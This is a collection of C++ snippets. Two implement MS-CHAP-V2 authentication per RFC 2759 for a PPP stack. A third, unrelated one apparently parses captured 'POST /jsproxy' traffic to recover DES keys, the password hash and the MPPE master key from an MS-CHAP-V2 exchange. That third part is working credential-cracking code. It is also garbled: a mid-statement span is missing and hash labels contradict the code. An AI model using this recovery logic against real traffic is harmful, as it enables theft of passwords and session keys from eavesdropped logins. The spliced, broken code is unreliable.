inline void CPppMsChap2::GenerateNTResponseL( const TDesC8& aAuthenticatorChallenge, const TDesC8& aPeerChallenge, const TDesC8& aUserName, const TDesC16& aPassword, TDes8& aResponse) /** Generates a MS-CHAP-V2 NT-Response. @param aAuthenticatorChallenge [in] The MS-CHAP-V2 authenticator challenge (16 octets). @param aPeerChallenge [in] The MS-CHAP-V2 peer challenge (16 octets). @param aUserName [in] The Microsoft Windows NT username (0 to 256 char). @param aPassword [in] The Microsoft Windows NT password (0 to 256 unicode char). @param aResponse [out] The MS-CHAP-V2 Challenge Response, NT-Response (24 octets). @note This function implements the GenerateNTResponse routine specified in RFC 2759. @internalComponent */ { ASSERT(aAuthenticatorChallenge.Length() == KPppMsChap2AuthenticatorChallengeSize); ASSERT(aPeerChallenge.Length() == KPppMsChap2PeerChallengeSize); ASSERT(aUserName.Length() <= KPppMsChapMaxNTUserNameLength); ASSERT(aPassword.Length() <= KPppMsChapMaxNTPasswordLength); ASSERT(aResponse.Length() == KPppMsChap2NTResponseSize); HBufC8* challengeHashBuf = HBufC8::NewMaxLC(KPppMsChap2ChallengeHashSize); TPtr8 challengeHash(challengeHashBuf->Des()); ChallengeHashL(aPeerChallenge, aAuthenticatorChallenge, aUserName, challengeHash); HBufC8* paddedPasswordHashBuf = HBufC8::NewLC(KPppMsChap2PaddedHashSize); TPtr8 paddablePasswordHash(paddedPasswordHashBuf->Des()); paddablePasswordHash.SetLength(KPppMsChap2HashSize); NtPasswordHashL(aPassword, paddablePasswordHash); ChallengeResponseL(challengeHash, paddablePasswordHash, aResponse); CleanupStack::PopAndDestroy(paddedPasswordHashBuf); CleanupStack::PopAndDestroy(challengeHashBuf); ASSERT(aResponse.Length()==KPppMsChap2NTResponseSize); }
inline void CPppMsChap2::GenerateAuthenticatorResponseL( const TDesC16& aPassword, const TDesC8& aNTResponse, const TDesC8& aPeerChallenge, const TDesC8& aAuthenticatorChallenge, const TDesC8& aUserName, TDes8& aAuthenticatorResponse) /** Generates the expected MS-CHAP-V2 Authenticator Response Value. @param aPassword [in] The Microsoft Windows NT password (0 to 256 Unicode char). @param aNTResponse [in] The MS-CHAP-V2 NT-Response (24 octets). @param aPeerChallenge [in] The Peer Challenge (16 octets). @param aAuthenticatorChallenge [in] The Authenticator Challenge (16 octets). @param aUserName [in] The Microsoft Windows NT username (0 to 256 char). @param aAuthenticatorResponse [out] The expected MS-CHAP-V2 Authenticator Response Value encoded in the format "S=<auth_string>" as specified in RFC 2759 (42 octets). @note This function implements the GenerateAuthenticatorResponse routine specified in RFC 2759. @internalComponent */ { ASSERT(aPassword.Length()<=KPppMsChapMaxNTPasswordLength); ASSERT(aNTResponse.Length() == KPppMsChap2NTResponseSize); ASSERT(aPeerChallenge.Length() == KPppMsChap2PeerChallengeSize); ASSERT(aAuthenticatorChallenge.Length() == KPppMsChap2AuthenticatorChallengeSize); ASSERT(aUserName.Length()<=KPppMsChapMaxNTUserNameLength); ASSERT(aAuthenticatorResponse.Length() == KPppMsChap2AuthenticatorResponseSize); HBufC8* passwordHashBuf=HBufC8::NewMaxLC(KPppMsChap2HashSize); TPtr8 passwordHash(passwordHashBuf->Des()); NtPasswordHashL(aPassword, passwordHash); HashNtPasswordHashL(passwordHash, passwordHash); CSHA1* sha1 = CSHA1::NewL(); CleanupStack::PushL(sha1); // A magic string literal specified in RFC 2759 used in reponse // generation by the GenerateAuthenticatorResponse routine for SHA-1 // encryption. _LIT8(KMagic1, "Magic server to client signing constant"); sha1->Update(passwordHash); sha1->Update(aNTResponse); TPtrC8 hash(sha1->Final(KMagic1)); HBufC8* challengeHashBuf = HBufC8::NewMaxLC(KPppMsChap2ChallengeHashSize); TPtr8 challengeHash(challengeHashBuf->Des()); ChallengeHashL(aPeerChallenge, aAuthenticatorChallenge, aUserName, challengeHash); // Another magic string literal specified in RFC 2759 used in reponse // generation by the GenerateAuthenticatorResponse routine for SHA-1 // encryption. _LIT8(KMagic2, "Pad to make it do more than one iteration"); sha1->Update(hash); sha1->Update(challengeHash); const TUint8* pHash = sha1->Final(KMagic2).Ptr(); _LIT8(KFormat, "S=%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X" "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X"); aAuthenticatorResponse.Format(KFormat, *pHash, *(pHash + 1), *(pHash + 2), *(pHash + 3), *(pHash + 4), *(pHash + 5), *(pHash + 6), *(pHash + 7), *(pHash + 8), *(pHash + 9), *(pHash + 10), *(pHash + 11), *(pHash + 12), *(pHash + 13), *(pHash + 14), *(pHash + 15), *(pHash + 16), *(pHash + 17), *(pHash + 18), *(pHash + 19)); CleanupStack::PopAndDestroy(challengeHashBuf); CleanupStack::PopAndDestroy(sha1); CleanupStack::PopAndDestroy(passwordHashBuf); ASSERT(aAuthenticatorResponse.Length() == KPppMsChap2AuthenticatorResponseSize); }
void SessionParser::parse(const boost::uint8_t* p_data, boost::uint16_t p_length, boost::uint32_t p_srcAddr) { switch(m_state) { case k_none: if (p_length > 13 && memcmp(p_data, "POST /jsproxy", 13) == 0) { std::cout << "[+] Initial request found." << std::endl; m_state = k_request; } break; case k_request: if (p_length > 17 && memcmp(p_data, "HTTP/1.1 200 OK\r\n", 17) == 0) { std::cout << "[+] Server challenge received." << std::endl; m_serverAddress = p_srcAddr; std::string packet; packet.assign(reinterpret_cast<const char*>(p_data), p_length); if (moveToPayload(packet) && packet.length() > 32) { std::size_t index = 0; for (std::size_t i = 0; i < 24 && index < packet.length(); i++) { if (i < 8) { codePointAt(packet, index); } else { m_rchallenge.push_back(codePointAt(packet, index)); } } } m_state = k_challenge; } break; case k_challenge: { if (p_length < 13 || memcmp(p_data, "POST /jsproxy", 13) != 0) { break; } std::cout << "[+] Challenge response found." << std::endl; m_state = k_done; std::string packet; packet.assign(reinterpret_cast<const char*>(p_data), p_length); if (!moveToPayload(packet)) { std::cerr << "Failed to find the payload." << std::endl; break; } std::size_t index = 0; for (std::size_t i = 0; i < 26; i++) { codePointAt(packet, index); } m_lchallenge.assign(packet.data() + index, 16); index += 16; for (std::size_t i = 0; i < 8; i++) { codePointAt(packet, index); } for (std::size_t i = 0; i < 8 && index < packet.length(); i++) { m_response1.push_back(codePointAt(packet, index)); } for (std::size_t i = 0; i < 8 && index < packet.length(); i++) { m_response2.push_back(codePointAt(packet, index)); } for (std::size_t i = 0; i < 8 && index < packet.length(); i++) { m_response3.push_back(codePointAt(packet, index)); } m_response.assign(m_response1); m_response.append(m_response2); m_response.append(m_response3); m_username.assign(packet.data() + index, packet.length() - index); std::cout << "Username: "******"Failed to recover key3!" << std::endl; return; } std::cout << "DES Key 3: "; printHexString(key3, true); // guess des key 2 std::string key2; if (!getKey2(key2, m_response2, challengeHash)) { std::cerr << "Failed to recover key2!" << std::endl; return; } std::cout << "DES Key 2: "; printHexString(key2, true); // guess des key 1 std::string key1; if (!getKey1(key1, m_response1, challengeHash)) { std::cerr << "Failed to recover key1!" << std::endl; return; } std::cout << "DES Key 1: "; printHexString(key1, true); // retrieve the pwdhash from our 3 keys std::string pwdHash(makePwdHash(key1)); pwdHash.append(makePwdHash(key2)); pwdHash.append(makePwdHash(key3)); pwdHash.resize(16); std::cout << "Password SHA-1: "; printHexString(pwdHash); // create the pwd hash hash for master key creation std::string pwdHashHash(MD4::md4(pwdHash)); std::cout << "SHA-1(Password SHA-1): "; printHexString(pwdHashHash); // create the master key std::string masterKey(pwdHashHash); masterKey.append(m_response); masterKey.append("This is the MPPE Master Key"); unsigned char sharesult[20] = { 0 }; sha1::calc(masterKey.data(), masterKey.size(), sharesult); masterKey.assign((char*)sharesult, 16); std::cout<< "Master Key: "; printHexString(masterKey); } break; case k_challenge_response: case k_decrypt: case k_done: default: break; } }